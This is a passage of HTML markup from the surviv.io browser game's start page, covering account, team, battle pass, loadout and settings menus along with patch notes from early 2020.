id='modal-account-reset-stats' class='modal modal-account'> <div class='modal-content modal-close'> <div class='modal-header modal-header-reset-stats'> <span class='close close-corner'></span> <h2 id='modal-account-name-title' data-l10n='index-reset-stats'>Reset Stats</h2> </div> <div class='modal-body modal-body-reset-stats'> <div class='modal-settings-item'> <p id='modal-account-reset-stats-desc' class='modal-body-text' data-l10n='index-reset-stats-desc'>Enter "RESET STATS" to reset your stats:</p> <p id='modal-account-reset-stats-desc-2' class='modal-body-text' data-l10n='index-reset-stats-desc-2'>(This does not reset pass progress.)</p> <input type='text' class='menu-option player-name-input' tabindex='0' placeholder='' id='modal-account-reset-stats-input' maxlength='16' /> </div> </div> <div class='modal-footer modal-footer-reset-stats modal-footer-round'> <h3 id='modal-account-reset-stats-finish' class='finish' data-l10n='index-confirm'>Confirm</h3> </div> </div> </div> <div id='modal-account-delete' class='modal modal-account'> <div class='modal-content modal-close'> <div class='modal-header modal-header-delete'> <span class='close close-corner'></span> <h2 id='modal-account-name-title' data-l10n='index-delete-account'>Delete Account</h2> </div> <div class='modal-body modal-body-delete'> <div class='modal-settings-item'> <p id='modal-account-delete-desc' class='modal-body-text' data-l10n='index-delete-account-desc'>Enter "DELETE" to delete your account:</p> <input type='text' class='menu-option player-name-input' tabindex='0' placeholder='' id='modal-account-delete-input' maxlength='16' /> </div> </div> <div class='modal-footer modal-footer-delete modal-footer-round'> <h3 id='modal-account-delete-finish' class='finish' data-l10n='index-confirm'>Confirm</h3> </div> </div> </div> <!-- Accounts Mobile --> <div id='modal-mobile-account' class='modal'> <div class='modal-content modal-close'> <div class='modal-header'> <span class='close close-corner'></span> <h2 data-l10n='index-account' data-l10n='index-account'>Account</h2> </div> <div id='modal-mobile-account-body'> <div class='account-buttons-settings account-buttons-wrapper account-block-arrow modal-close'> <div class='account-buttons'> <div class='account-stats-link btn-player-stats-link menu-option btn-darken btn-standard ' data-l10n='index-my-stats'>My Stats</div> <div class='btn-account-link btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-link-account'>Link Account</div> <div class='btn-account-change-name btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-change-account-name'>Change Account Name</div> <div class='btn-account-reset-stats btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-reset-stats'>Reset Stats</div> <div class='btn-account-delete btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-delete-account'>Delete Account</div> <div class='btn-account-logout btn-account-grey menu-option btn-darken btn-standard' data-l10n='index-log-out'>Log Out</div> </div> </div> <div id='account-login-options-mobile' class='account-buttons-link-account account-buttons-wrapper account-block-arrow modal-close'> <div class='login-options-content'></div> </div> </div> </div> </div> <!-- Accounts --> <div id='start-top-right'> <div class='account-block'> <div class='account-details-top'> <div class="account-details-top-buttons"> <div class="account-details-button-wrapper account-details-button-loadout menu-option btn-darken-alt"> <div class='account-details-button'> <div id='loadout-alert-main' class='account-alert-main account-alert'></div> <div class='account-link account-loadout-link'> <span data-l10n='index-loadout'>Loadout</span> </div> </div> </div> <div class="account-details-button-wrapper account-details-link-out menu-option btn-darken hide-on-mobile"> <div class='account-details-button'> <div class='account-link account-stats-link'><span data-l10n='index-my-stats'>My Stats</span></div> </div> </div> <div class="account-details-button-wrapper account-details-link-out menu-option btn-darken hide-on-mobile"> <div class='account-details-button'> <div class='account-link account-leaderboard-link'><span data-l10n='index-leaderboards'>Leaderboards</span></div> </div> </div> </div> </div> <div class='account-overview'> <div class="account-details-user account-details-block"> <div class="account-details"> <div class="account-avatar"></div> <div id="account-login" class="account-player-name account-name account-name-user" data-l10n='index-log-in-desc'>Log In / Create Account</div> <div id="account-player-name" class="account-player-name account-name account-name-user" style="display:none"></div> <div class="account-loading-container"> <div class="account-loading"></div> </div> </div> </div> </div> <div class='account-buttons-settings account-buttons-wrapper account-block-arrow modal-close hide-on-mobile'> <div class='account-buttons'> <div class='btn-account-link btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-link-account'>Link Account</div> <div class='btn-account-change-name btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-change-account-name'>Change Account Name</div> <div class='btn-account-reset-stats btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-reset-stats'>Reset Stats</div> <div class='btn-account-delete btn-account-turq menu-option btn-darken btn-standard' data-l10n='index-delete-account'>Delete Account</div> <div class='btn-account-logout btn-account-grey menu-option btn-darken btn-standard' data-l10n='index-log-out'>Log Out</div> </div> </div> <div id='account-login-options' class='account-buttons-link-account account-buttons-wrapper account-block-arrow modal-close hide-on-mobile'> <div class='login-options-content'></div> </div> </div> </div> <div id='start-main-center'> <div id='start-row-header'> <div id='server-warning'></div> </div> <div id='start-row-top'> <div id='start-rotate-reminder' class='menu-column menu-block'> <span>Rotate to landscape for a better experience.</span> </div> <div id='left-column' class='menu-column'> <div id='ad-block-left'> <div class='surviv-shirts'> <a href='/~/https://www.amazon.com/s?rh=n%3A7141123011%2Cp_4%3Asurviv.io&ref=w_bl_sl_s_ap_web_7141123011' target="_blank"></a> </div> <div class='adblock-plea'> <span>Please consider supporting us by disabling your adblocker.</span> </div> <div class='ad-block-med-rect' id='surviv-io_300x250'> </div> </div> <div id='social-share-block-wrapper'> <div id='social-share-block' class='menu-block'> <div class='btn-social-wrapper'> <a href='/~/https://facebook.com/surviviogame' target='_blank' class='btn-social btn-darken btn-facebook'></a> <a href='/~/https://twitter.com/survivio' target='_blank' class='btn-social btn-darken btn-twitter'></a> <a href='/~/https://www.instagram.com/surviviogame/' target='_blank' class='btn-social btn-darken btn-instagram'></a> <a href='/~/https://discord.gg/survivio' target='_blank' class='btn-social btn-darken btn-discord'></a> <a href='/~/https://www.youtube.com/c/survivio?sub_confirmation=1' target='_blank' class='btn-social btn-darken btn-youtube'></a> </div> </div> </div> </div> <div id='start-menu' class='menu-column menu-block'> <div class='play-loading-outer'> <div class='play-loading-inner'> <div class='play-loading-spinner'></div> </div> </div> <div class='play-button-container'> <div id='player-options'> <input type='text' class='menu-option player-name-input' tabindex='0' placeholder='Enter your name here' id='player-name-input-solo' maxlength='16' /> <a class='btn-darken menu-option player-options-btn' id='btn-customize'></a> </div> <select id='server-select-main' class='server-select menu-option btn-hollow btn-hollow-selected'> <optgroup id='server-opts' label='Region' data-l10n='index-region'> <option value='na' data-label='North America' data-l10n='index-north-america'>North America</option> <option value='sa' data-label='South America' data-l10n='index-south-america'>South America</option> <option value='eu' data-label='Europe' data-l10n='index-europe'>Europe</option> <option value='as' data-label='Asia' data-l10n='index-asia'>Asia</option> <option value='kr' data-label='Korea' data-l10n='index-korea'>South Korea</option> </optgroup> </select> <a class='btn-green btn-darken menu-option' id='btn-start-mode-0' data-l10n='index-play-solo'>Play Solo</a> <div id='btns-quick-start'> <a class='btn-green btn-darken menu-option' id='btn-start-mode-1' data-l10n='index-play-duo'>Play Duo</a> <a class='btn-green btn-darken menu-option' id='btn-start-mode-2' data-l10n='index-play-squad'>Play Squad</a> </div> <div class='btns-double-row'> <a class='btn-darken menu-option btn-team-option' id='btn-join-team' data-l10n='index-join-team'>Join Team</a> <a class='btn-darken menu-option btn-team-option' id='btn-create-team' data-l10n='index-create-team'>Create Team</a> </div> <div id='btn-help' class='menu-option btn-darken' data-l10n='index-how-to-play'>How to Play</div> <div id='start-help'> <h1 data-l10n='index-controls'>Controls</h1> <p><span class='help-action' data-l10n='index-movement'></span>: <span class='help-control' data-l10n='index-movement-ctrl'></span></p> <p><span class='help-action' data-l10n='index-aim'></span>: <span class='help-control' data-l10n='index-aim-ctrl'></span></p> <p><span class='help-action' data-l10n='index-punch'></span>/<span class='help-action' data-l10n='index-shoot'></span>: <span class='help-control' data-l10n='index-shoot-ctrl'></span></p> <p><span class='help-action' data-l10n='index-change-weapons'></span>: <span class='help-control' data-l10n='index-change-weapons-ctrl'></span></p> <p class='hide-on-mobile'><span class='help-action' data-l10n='index-stow-weapons'></span>: <span class='help-control' data-l10n='index-stow-weapons-ctrl'></span></p> <p class='hide-on-mobile'><span class='help-action' data-l10n='index-swap-weapons'></span>: <span class='help-control' data-l10n='index-swap-weapons-ctrl'></span></p> <p class='hide-on-mobile'><span class='help-action' data-l10n='index-swap-weapon-slots'></span>: <span class='help-control' data-l10n='index-swap-weapon-slots-ctrl'></span></p> <p><span class='help-action' data-l10n='index-reload'></span>: <span class='help-control' data-l10n='index-reload-ctrl'></span></p> <p><span class='help-action' data-l10n='index-scope-zoom'></span>: <span class='help-control' data-l10n='index-scope-zoom-ctrl'></span></p> <p><span class='help-action' data-l10n='index-pickup'></span>/<span class='help-action' data-l10n='index-loot'></span>/<span class='help-action' data-l10n='index-revive'></span>: <span class='help-control' data-l10n='index-pickup-ctrl'></span></p> <p><span class='help-action' data-l10n='index-use-medical'></span>: <span class='help-control' data-l10n='index-use-medical-ctrl'></span></p> <p><span class='help-action' data-l10n='index-drop-item'></span>: <span class='help-control' data-l10n='index-drop-item-ctrl'></span></p> <p><span class='help-action' data-l10n='index-cancel-action'></span>: <span class='help-control' data-l10n='index-cancel-action-ctrl'></span></p> <p><span class='help-action' data-l10n='index-view-map'></span>: <span class='help-control' data-l10n='index-view-map-ctrl'></span></p> <p class='hide-on-mobile'><span class='help-action' data-l10n='index-toggle-minimap'></span>: <span class='help-control' data-l10n='index-toggle-minimap-ctrl'></span></p> <p><span class='help-action' data-l10n='index-use-ping'></span>: <span class='help-control' data-l10n='index-use-ping-ctrl'></span></p> <p><span class='help-action' data-l10n='index-use-emote'></span>: <span class='help-control' data-l10n='index-use-emote-ctrl'></span></p> <h1 data-l10n='index-how-to-play'>How to Play</h1> <p data-l10n='index-tips-1-desc'>The goal of surviv.io is to be the last player standing. You only live once per game - there is no respawn!</p> <h1 data-l10n='index-tips-2'>2D PUBG</h1> <p data-l10n='index-tips-2-desc'>If you've played other battle royale games like PUBG, Fortnite or H1Z1, then you're already halfway there! Think of surviv.io as 2D PUBG (with slightly less desync and more chicken).</p> <h1 data-l10n='index-tips-3'>Loot and Kill</h1> <p data-l10n='index-tips-3-desc'>You'll begin the game with no items other than a simple backpack. Move around the map to find loot: weapons, ammo, scopes, and medical items. Eliminate other players and you can take their loot!</p> <h1 data-l10n='index-tips-4'>Red = Bad!</h1> <p data-l10n='index-tips-4-desc'>Players aren't the only thing that can hurt you. The deadly red zone will move in from the sides of the map and deal increasingly greater damage if you stand in it. Keep an eye on the map and stay safe.</p> </div> </div> </div> <div id='team-menu' class='menu-column menu-block'> <div class='play-loading-outer'> <div class='play-loading-inner'> <div class='play-loading-spinner'></div> </div> </div> <div class='play-button-container'> <a class='btn-darken menu-option' id='btn-team-leave' data-l10n='index-leave-team'>Leave Team</a> <div id='team-menu-connecting'> <div class='ui-spinner'></div> <div class='team-menu-connecting-text' id='team-menu-joining-text'><span data-l10n='index-joining-team'>Joining team</span> ...</div> <div class='team-menu-connecting-text' id='team-menu-creating-text'><span data-l10n='index-creating-team'>Creating team</span> ...</div> </div> <div id='team-menu-contents'> <div id='team-desc'> <div id='team-desc-text'><span id='invite-link-text' data-l10n='index-invite-link'>Invite link</span>: <span id='team-url'></span> </div> <a id='team-copy-url' class='copy-item btn-darken'></a> <a id='team-hide-url' class='hide-item btn-darken'></a> <div id='team-code-text'><span id='invite-code-text' data-l10n='index-invite-code'>Invite code</span>: <span id='team-code'></span></div> </div> <div id='team-menu-columns'> <div id='team-menu-members' class='team-menu-block'> <div id='team-menu-member-list'></div> </div> <div id='team-menu-options' class='team-menu-block'> <select id='team-server-select' class='btn-hollow btn-hollow-selected server-select menu-option'> <optgroup id='team-server-opts' label='Region'> <option value='na' data-label='North America' data-l10n='index-north-america'>North America</option> <option value='sa' data-label='South America' data-l10n='index-south-america'>South America</option> <option value='eu' data-label='Europe' data-l10n='index-europe'>Europe</option> <option value='as' data-label='Asia' data-l10n='index-asia'>Asia</option> <option value='kr' data-label='Korea' data-l10n='index-korea'>South Korea</option> </optgroup> </select> <div class='team-menu-options-buttons'> <a class='btn-hollow btn-hollow-selected btn-darken team-menu-option btn-team-queue' id='btn-team-queue-mode-1' data-l10n='index-duo'>Duo</a> <a class='btn-hollow btn-hollow-selected btn-darken team-menu-option btn-team-queue' id='btn-team-queue-mode-2' data-l10n='index-squad'>Squad</a> </div> <div class='team-menu-options-buttons'> <a class='btn-hollow btn-hollow-selected btn-darken team-menu-option btn-team-fill' id='btn-team-fill-auto' data-l10n='index-auto-fill'>Auto Fill</a> <a class='btn-hollow btn-darken team-menu-option btn-team-fill' id='btn-team-fill-none' data-l10n='index-no-fill'>No Fill</a> </div> <div id='team-menu-options-start'> <a class='btn-green btn-darken menu-option' id='btn-start-team' data-label='Play' data-l10n='index-play'>Play</a> <div id='msg-wait-reason'></div> </div> </div> </div> </div> </div> </div> <div id='team-mobile-link' class='menu-column menu-block'> <div id='team-mobile-link-desc' class='team-mobile-link-text' data-l10n='index-join-team-help'>Got a team link or code? Paste it here:</div> <div id='team-mobile-link-warning' class='team-mobile-link-text'>Invalid link!</div> <input type='text' class='menu-option' contenteditable="false" tabindex='0' autofocus placeholder='Paste team link or enter code here' id='team-link-input' /> <a class='btn-darken menu-option btn-team-option' id='btn-team-mobile-link-join' data-l10n='index-join-team'>Join Team</a> <a class='btn-darken menu-option' id='btn-team-mobile-link-leave' data-l10n='index-back-to-main'>Back to Main Menu</a> </div> <div id='right-column' class='menu-column'> <div id='pass-wrapper'> <div id='pass-unlock-tooltip'> <div class='tooltip-pass-title'></div> <div class='tooltip-pass-desc'></div> </div> <div class='right-column-toggle news-toggle'> <div class='account-alert'></div> </div> <div id='pass-loading' class='pass-column menu-block'> <div id='pass-loading-spinner'></div> </div> <div id='pass-block' class='pass-column menu-block'> <div id='pass-name'> <span id='pass-name-text'></span> </div> <div id='pass-progress' class=''> <div id='pass-progress-level' class=''></div> <div id='pass-progress-bar' class=''> <div id='pass-progress-bar-fill'></div> <div id='pass-progress-xp'> <span id='pass-progress-xp-current'></span> <span>/</span> <span id='pass-progress-xp-target'></span> <span>XP</span> </div> </div> <div id='pass-progress-unlock-wrapper'> <div id='pass-progress-unlock' class=''> <div id='pass-progress-unlock-image' class=''></div> </div> <div id='pass-progress-unlock-type-wrapper' class=''> <div id='pass-progress-unlock-type-border' class=''> <div id='pass-progress-unlock-type-image' class=''></div> </div> <div id='pass-progress-unlock-overlay' class=''></div> </div> </div> </div> <div id='pass-quest-wrapper' class=''> <div id='pass-locked'> <div id='btn-pass-locked' class='menu-option btn-darken' data-l10n='quest-login-prompt'>Log in to get quests!</div> </div> <div id='pass-quest-0' class='pass-quest'> <div class='pass-quest-timer'></div> <div class='pass-quest-spinner-container'> <div class='pass-quest-spinner'></div> </div> <div class='pass-quest-refresh-prompt'> <div class='pass-quest-refresh-prompt-text' data-l10n='quest-refresh-prompt'>Get a new quest?</div> <div class='pass-quest-refresh-confirm btn-pass-quest-refresh'></div> <div class='pass-quest-refresh-cancel btn-pass-quest-refresh'></div> </div> <div class='pass-quest-info'> <div class='pass-quest-desc'></div> <div class='pass-quest-xp'></div> <div class='pass-quest-refresh'></div> <div class='pass-quest-progress'> <div class='pass-quest-bar'> <div class='pass-quest-bar-fill'></div> </div> <div class='pass-quest-counter'> <span class='pass-quest-counter-current'></span> <span>/</span> <span class='pass-quest-counter-target'></span> </div> </div> </div> </div> <div id='pass-quest-1' class='pass-quest'> <div class='pass-quest-timer'></div> <div class='pass-quest-spinner-container'> <div class='pass-quest-spinner'></div> </div> <div class='pass-quest-refresh-prompt'> <div class='pass-quest-refresh-prompt-text' data-l10n='quest-refresh-prompt'>Get a new quest?</div> <div class='pass-quest-refresh-confirm btn-pass-quest-refresh'></div> <div class='pass-quest-refresh-cancel btn-pass-quest-refresh'></div> </div> <div class='pass-quest-info'> <div class='pass-quest-desc'></div> <div class='pass-quest-xp'></div> <div class='pass-quest-refresh'></div> <div class='pass-quest-progress'> <div class='pass-quest-bar'> <div class='pass-quest-bar-fill'></div> </div> <div class='pass-quest-counter'> <span class='pass-quest-counter-current'></span> <span>/</span> <span class='pass-quest-counter-target'></span> </div> </div> </div> </div> </div> </div> </div> <div id='news-wrapper'> <div class='right-column-toggle pass-toggle'></div> <div id='news-block' class='menu-block'> <div id='news'> <h3 class='news-header'>What's New!</h3> <div id='news-current' data-date='2020-2-24'> <small class='news-date'>February 24, 2020</small> <p class='news-paragraph'><strong>Curveball</strong></p> <p class='news-paragraph'>The <span class='highlight'>Savannah</span> has returned with a new perk to help flush snipers out of position.</p> <p class='news-paragraph'>The <span class='highlight'>Closer Perk</span> throws grenades much farther, allowing you to put Snipers on the move.</p> </div> <div data-date='2020-2-10'> <small class='news-date'>February 10, 2020</small> <p class='news-paragraph'><strong>Keep Your Enemies Closer</strong></p> <p class='news-paragraph'>PARMA recognizes this season of togetherness and generously offers to help rivals resolve their differences. The all new <span class='highlight'>Heart Cannon</span> diffuses damage taken from your frenemies. For groups of future friends, the same effect is achieved with the all-new <span class='highlight'>Heart Grenade</span>.</p> <p class='news-paragraph'>If you do not trust the intentions of your new friends, eat an entire <span class='highlight'>box of chocolates</span> to counter the effect of <span class='highlight'>Heart Weapons</span>.</p> </div> <div data-date='2020-1-27'> <small class='news-date'>January 27, 2020</small> <p class='news-paragraph'><strong>Dodge This</strong></p> <p class='news-paragraph'><span class='highlight'>Woods</span> Mode is back with two new weapons and things are bound to get explosive. The <span class='highlight'>PKM</span> and <span class='highlight'>Hawk 12G</span> join the Woods Map arsenal, along with increased grenade capacity.</p> <p class='news-paragraph'>The <span class='highlight'>PKM</span> packs a punch while balancing mobility and range. Based on the M870 with an added magazine, the <span class='highlight'>Hawk 12G</span>'s ammo capacity of 5 is the same as its parent weapon, the fire delay is faster and fires a tighter spread. </p> </div> <div data-date='2020-1-13'> <small class='news-date'>January 13, 2020</small> <p class='news-paragraph'><strong>Stay frosty</strong></p> <p class='news-paragraph'>Winter has arrived on the Island with new features and is more dangerous than ever, including PARMA's latest item, the <span class='highlight'>Flask</span>.</p> <p class='news-paragraph'>Track your enemy's footprints and use the <span class='highlight'>Snow Fox</span> perk to cover up your footprints. Be sure to keep moving or take freezing damage. Flasks and the <span class='highlight'>Polar Bear</span> perk keep you from freezing. And watch out for ice. It's slippery.</p> </div> <div data-date='2019-12-30'> <small class='news-date'>December 30, 2019</small> <p class='news-paragraph'><strong>Free Fryer</strong></p> <p class='news-paragraph'>PARMA's FSTMS division is pleased to introduce the next generation in starch-based modern warfare: the <span class='highlight'>spud gun</span>.</p> <p class='news-paragraph'>Officially designated the SMG-8 (Spud Missile Generator), the spud gun uses a proprietary breech-to-muzzle heat expander to fry and propel wedge-shaped projectiles at tremendous speeds. Like its cousin, the potato cannon, the spud gun also features nitroglycerin-spiked ammunition and a nifty tuber replication device!</p> </div> </div> </div> </div> </div> </div> <div class='ad-block-leaderboard-bottom' id='surviv-io_728x90'></div> </div> <div id='start-bottom-left'> <div class='hide-on-mobile'> <a href='/~/https://play.google.com/store/apps/details?id=io.surviv.surviv_io_mobile' target='_blank' class='btn-download-android btn-download-app btn-darken'></a> </div> <div class='hide-on-mobile'> <a href='/~/https://itunes.apple.com/us/app/surviv-io/id1401727934?ls=1&mt=8' target='_blank' class='btn-download-ios btn-download-app btn-darken'></a> </div> <div id='mobile-settings-front'> <div class='btn-settings menu-option btn-darken btn-start-option'></div> </div> </div> <div id="start-bottom-middle"> <a href='changelog.html' target="_blank" class="footer-after">ver 0.9.1b</a> <a href='proxy.txt' target="_blank" data-l10n='index-proxy-sites'>proxy sites</a> </div> <div id='start-bottom-right-wrapper'> <div id='start-bottom-right'> <div class="language-select-wrap"> <select class='language-select'></select> </div> <div class='btn-settings menu-option btn-darken btn-start-option'></div> <div class='btn-keybind menu-option btn-darken btn-start-option'></div> <div id='btn-start-fullscreen' class='btn-fullscreen-toggle menu-option btn-darken btn-start-option'></div> <div class='btn-start-mute btn-sound-toggle menu-option btn-darken btn-start-option audio-on-icon'></div> </div> <div id='mobile-download-app'> <a href='/~/https://play.google.com/store/apps/details?id=io.surviv.surviv_io_mobile' target='_blank' class='btn-download-android btn-download-app-mobile btn-darken'></a> <a href='/~/https://itunes.apple.com/us/app/surviv-io/id1401727934?ls=1&mt=8' target='_blank' class='btn-download-ios btn-download-app-mobile btn-darken'></a> </div> </div> </div> <!-- Modals --> <div id='ui-modal-keybind' class='ui-modal-keybind modal' oncontextmenu='return false;'> <div class='ui-modal-keybind-content modal-content modal-close'> <div id='ui-modal-keybind-header' class='modal-header'> <span id='ui-close-keybind' class='close close-corner'></span> <h2 data-l10n='index-customize-keybinds'>Customize Keybinds</h2> </div> <div id='ui-modal-keybind-body' class='modal-body'> <div id='ui-modal-keybind-list' class='js-keybind-list'></div> <div id='ui-modal-keybind-share'> <div class='ui-modal-keybind-share-row'> <div class='ui-modal-keybind-share-elem'> <span data-l10n='index-keybind-link'>Share your keybinds with this code</span>: </div> <div class='ui-modal-keybind-share-elem'> <div id='keybind-link-text'> <div id='keybind-link'>aFvc42SfhpoFlrJKVkA1fx+5afasdf9034hfSF09nASqqF</div> <span id='keybind-copy' class='copy-item btn-darken'></span> </div> </div> </div> <span class='keybind-share-paste-text' data-l10n='index-keybind-paste'>Load keybinds using a code here</span><span>:</span> <div id='keybind-warning' class='link-warning'>Invalid code!</div> <div class='ui-modal-keybind-share-row'> <input type='text' class='menu-option' contenteditable="false" tabindex='0' autofocus placeholder='Paste a keybind code here' id='keybind-code-input' /> <a class='btn-game-menu btn-darken' id='btn-keybind-code-load' data-l10n='index-keybind-apply'>Load</a> </div> </div> </div> <div id='ui-modal-keybind-footer' class='modal-footer modal-footer-round'> <a class='js-btn-keybind-share btn-game-menu btn-darken' data-l10n='game-share'>Share</a> <a class='js-btn-keybind-restore btn-game-menu btn-darken' data-l10n='game-restore-defaults'>Restore Defaults</a> </div> </div> </div> <!-- Loadouts --> <div id='modal-customize' class='modal'> <div class='ad-block-loadouts-left hide-on-mobile' id='surviv-io_300x600'></div> <div id='modal-customize-wrapper' class='modal-close'> <div id='modal-content-left' class='modal-content-shadow'> <div id='modal-customize-cat-title'></div> <div id="modal-customize-sort-wrap"> <select id='modal-customize-sort'> <option id='customize-sort-newest' value='newest' data-l10n='loadout-newest'>Newest</option> <option id='customize-sort-alpha' value='alpha' data-l10n='loadout-alpha'>Alpha</option> <option id='customize-sort-rarity' value='rarity' data-l10n='loadout-rarity'>Rarity</option> <option id='customize-sort-subcat' value='subcat' data-l10n='loadout-subcat'>Category</option> </select> </div> <div id='modal-customize-close'> <span class='close close-corner'></span> </div> <div id='modal-customize-header' class='modal-header'></div> <div class='modal-disabled'> <div class='modal-disabled-message'>The Edge browser does not support custom cursors.</div> </div> <div id='modal-customize-body' class='modal-body'> <div id='modal-customize-item-header'> <div id='modal-customize-item-name'></div> <div id='modal-customize-item-rarity'></div> <div id='modal-customize-loading-container'> <div id='modal-customize-loading'></div> </div> </div> <div id='modal-customize-list'></div> </div> <div id='modal-customize-footer' class='modal-footer modal-footer-round'> <div id='modal-customize-item-source'></div> <div id='modal-customize-item-lore'></div> </div> <div id='modal-customize-unlocks' class=''> <div id='customize-instagram-follow-unlock' class='customize-social-unlock customize-social-tooltip' data-lock-reason='instagram'> <div class="tooltiptext" data-l10n='loadout-instagram-reward'></div> <a href='/~/https://www.instagram.com/surviviogame/' target="_blank" id='btn-instagram-follow-unlock' class='menu-option btn-darken btn-social-unlock btn-instagram' data-lock-reason='instagram' data-l10n='loadout-instagram-follow'></a> </div> <div id='customize-youtube-subscribe-unlock' class='customize-social-unlock customize-social-tooltip' data-lock-reason='youtube'> <div class="tooltiptext" data-l10n='loadout-youtube-reward'></div> <a href='/~/https://www.youtube.com/c/survivio?sub_confirmation=1' target='_blank' id='btn-youtube-subscribe-unlock' class='menu-option btn-darken btn-social-unlock btn-youtube' data-lock-reason='youtube' data-l10n='loadout-youtube-subscribe'></a> </div> <div id='customize-twitter-follow-unlock' class='customize-social-unlock customize-social-tooltip' data-lock-reason='twitter'> <div class="tooltiptext" data-l10n='loadout-twitter-reward'></div> <a href='/~/https://twitter.com/intent/follow?region=follow_link&amp;screen_name=survivio&amp;tw_p=followbutton' target="_blank" id='btn-twitter-follow-unlock' class='menu-option btn-darken btn-social-unlock btn-twitter' data-lock-reason='twitter' data-l10n='loadout-twitter-follow'></a> </div> <div id='customize-facebook-like-unlock' class='customize-social-unlock customize-social-tooltip' data-lock-reason='facebook'> <div class="tooltiptext" data-l10n='loadout-facebook-reward'></div> <a href='/~/https://www.facebook.com/surviviogame/' target='_blank' id='btn-facebook-like-unlock' class='menu-option btn-darken btn-social-unlock btn-facebook' data-lock-reason='facebook' data-l10n='loadout-facebook-like'></a> </div> </div> </div> <div id='modal-content-right-crosshair' class='modal-content-right modal-content-shadow'> <div class='modal-spacer'></div> <div class='modal-disabled'></div> <div id='customize-crosshair-parent'> <div id='customize-crosshair-selected'> <div class="customize-item-image customize-crosshair-image" draggable="false"></div> </div> <div id='customize-crosshair-sliders'> <div class="crosshair-hex-outer"> <span>#</span><input type="text" id='color-picker-hex'> </div> <section id="color-picker"></section> <div class="crosshair-slider-container"> <p class='' data-l10n='loadout-size'>Size</p> <input type="range" min="0.25" max="1.0" value="0.5" step='0.025' class="crosshair-slider" id="crosshair-size"> </div> <div class="crosshair-slider-container"> <p class='' data-l10n='loadout-stroke'>Stroke</p> <input type="range" min="0.0" max="1.5" value="0.0" step='0.025' class="crosshair-slider" id="crosshair-stroke"> </div> </div> </div> </div> <div id='modal-content-right-emote' class='modal-content-right modal-content-shadow'> <div id='customize-emote-parent'> <div id='customize-emote-wheel' class='ui-emote-wheel'> <div id='customize-emote-middle' class='ui-emote-middle ui-emote-circle ui-emote-parent'> <div class='ui-emote ui-emote-bg-circle'></div> <div class='ui-emote ui-emote-hl'></div> <div class='customize-emote-slot customize-item-image ui-emote-image'></div> </div> <div id='customize-emote-top' class='ui-emote-top ui-emote-quarter ui-emote-parent' data-slot='emoteTop' data-idx='0'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='customize-emote-slot customize-item-image ui-emote-image'></div> <div class='customize-col customize-col-small' draggable="true"></div> </div> <div id='customize-emote-right' class='ui-emote-right ui-emote-quarter ui-emote-parent' data-slot='emoteRight' data-idx='1'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='customize-emote-slot customize-item-image ui-emote-image'></div> <div class='customize-col customize-col-small' draggable="true"></div> </div> <div id='customize-emote-bottom' class='ui-emote-bottom ui-emote-quarter ui-emote-parent' data-slot='emoteBottom' data-idx='2'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='customize-emote-slot customize-item-image ui-emote-image'></div> <div class='customize-col customize-col-small' draggable="true"></div> </div> <div id='customize-emote-left' class='ui-emote-left ui-emote-quarter ui-emote-parent' data-slot='emoteLeft' data-idx='3'> <div class='ui-emote ui-emote-bg-quarter'></div> <div class='ui-emote ui-emote-hl'></div> <div class='customize-emote-slot customize-item-image ui-emote-image'></div> <div class='customize-col customize-col-small' draggable="true"></div> </div> </div> <div id='customize-emote-autos'> <div id='customize-emote-win' class='ui-emote-middle ui-emote-circle ui-emote-parent' data-slot='emoteWin' data-idx='4'> <div class='ui-emote ui-emote-auto-trash'></div> <div class='ui-emote ui-emote-auto-icon ui-emote-auto-chicken'></div> <div class='ui-emote ui-emote-bg-circle-outer'></div> <div class='ui-emote ui-emote-bg-circle'></div> <div class='ui-emote ui-emote-hl'></div> <div class='customize-emote-slot customize-item-image'></div> <div class='customize-col customize-col-large' draggable="true"></div> </div> <div id='customize-emote-death' class='ui-emote-middle ui-emote-circle ui-emote-parent' data-slot='emoteDeath' data-idx='5'> <div class='ui-emote ui-emote-auto-trash'></div> <div class='ui-emote ui-emote-auto-icon ui-emote-auto-skull'></div> <div class='ui-emote ui-emote-bg-circle-outer'></div> <div class='ui-emote ui-emote-bg-circle'></div> <div class='ui-emote ui-emote-hl'></div> <div class='customize-emote-slot customize-item-image'></div> <div class='customize-col customize-col-large' draggable="true"></div> </div> </div> </div> </div> </div> </div> <div id='modal-settings' class='modal'> <div class='modal-content modal-close'> <div class='modal-header'> <span class='close close-corner'></span> <h2 data-l10n='index-settings'>Settings</h2> </div> <div id='modal-settings-body' class='modal-body'> <div id='language-select-mobile-wrapper' class='modal-settings-item'> <div class="language-select-wrap"> <select class='language-select'></select> </div> </div> <div id='modal-settings-high-res' class='modal-settings-item'> <input id='highResTex' type='checkbox'><p class='modal-settings-checkbox-text' data-l10n='index-high-resolution'>High resolution (check to increase visual quality)</p> </div> <div class='modal-settings-item hide-on-mobile'> <input id='screenShake' type='checkbox'><p class='modal-settings-checkbox-text' data-l10n='index-screen-shake'>Screen shake</p> </div> <div class='modal-settings-item'> <input id='anonPlayerNames' type='checkbox'><p class='modal-settings-checkbox-text' data-l10n='index-anon-player-names'>Anonymize player names</p> </div> <div class='modal-settings-item dpad'> <input id='activateDpad' type='checkbox'><p class='modal-settings-checkbox-text' data-l10n='index-left-mode'>Left handed mode </p> </div> <div class='modal-settings-item auto-melee'> <input id='autoMelee' type='checkbox'><p class='modal-settings-checkbox-text' data-l10n='index-auto-melee'>Auto Melee Boxes</p> </div> <div class='modal-settings-item aim-assist'> <input id='aimAssist' type='checkbox'><p class='modal-settings-checkbox-text' data-l10n='index-aim-assist'>Aim Assist</p> </div> <div class="modal-settings-item slider-container main-volume-slider"> <p class='modal-slider-text' data-l10n='index-master-volume'>Master Volume</p> <input type="range" min="0" max="100" value="50" class="slider sl-master-volume" id=""> </div> <div class="modal-settings-item slider-container main-volume-slider"> <p class='modal-slider-text' data-l10n='index-sfx-volume'>SFX Volume</p> <input type="range" min="0" max="100" value="50" class="slider sl-sound-volume" id=""> </div> <div 